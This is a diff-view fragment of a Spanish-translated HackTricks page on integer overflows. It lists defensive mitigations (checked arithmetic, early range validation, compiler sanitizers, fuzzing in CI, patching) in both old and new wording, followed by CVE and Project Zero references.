2. **Validar rangos temprano**: rechazar cualquier valor fuera del dominio comercial antes de la aritmética.
|
||||
3. **Habilitar sanitizadores del compilador**: -fsanitize=integer, UBSan, detector de carreras de Go.
|
||||
4. **Adoptar fuzzing en CI/CD** – combinar retroalimentación de cobertura con corpus de límites.
|
||||
5. **Mantenerse actualizado** – los errores de desbordamiento de enteros en navegadores son frecuentemente armados en semanas.
|
||||
1. **Use wide types or checked math** – p. ej., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Validate ranges early**: rechazar cualquier valor fuera del dominio de negocio antes de realizar operaciones aritméticas.
|
||||
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Adopt fuzzing in CI/CD** – combina la retroalimentación de cobertura con corpus de límites.
|
||||
5. **Stay patched** – los bugs de integer overflow en navegadores suelen explotarse en cuestión de semanas.
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## Referencias
|
||||
|
||||
* [NVD CVE-2023-4863 – Desbordamiento de búfer de heap de libwebp](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Entendiendo V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user